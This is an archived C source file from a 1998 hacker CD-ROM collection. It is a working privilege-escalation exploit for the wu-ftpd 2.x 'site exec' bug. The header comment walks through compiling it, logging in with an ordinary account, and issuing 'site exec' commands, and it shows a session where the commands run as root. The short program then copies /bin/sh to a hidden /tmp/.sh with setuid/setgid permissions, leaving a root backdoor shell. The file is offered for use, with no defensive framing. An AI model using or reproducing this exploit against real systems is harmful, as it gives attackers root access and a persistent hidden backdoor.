home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / ftpbug.c < prev    next >
Encoding:
C/C++ Source or Header  |  2003-06-11  |  1.1 KB  |  47 lines

  1. /*
  2. Explot wu-ftp 2.x (site exec bug)
  3.  
  4. You need to have an account on the system running wu-ftpd
  5.  
  6. Compile this program in yer dir:
  7.     cc -o ftpbug ftpbug.c
  8.  
  9. Login to the system:
  10.  
  11. 220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready. 
  12. Name (exploitablesys:root): goodaccount
  13. 331 Password required for goodaccount.
  14. Password: (password)
  15. 230 User goodaccount logged in.
  16. Remote system type is UNIX.
  17. Using binary mode to transfer files.
  18. ftp> quote "site exec bash -c id"      (see if sys is exploitable)
  19. 200-bash -c id
  20. 200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
  21. 200  (end of 'bash -c id')
  22. ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
  23. 200-bash -c /yer/home/dir/ftpbug
  24. 200  (end of 'bash -c /yer/home/dir/ftpbug')
  25. ftp> quit
  26. 221 Goodbye.
  27.  
  28. Now you have a suid root shell in /tmp/.sh 
  29. Have fun
  30.  
  31. StaTiC  (statik@free.org)
  32.  
  33. */
  34.  
  35.  
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <unistd.h>
  39.  
  40. main()
  41. {
  42.    seteuid(0);
  43.    system("cp /bin/sh /tmp/.sh");
  44.    system("chmod 6777 /tmp/.sh");
  45. }
  46.  
  47.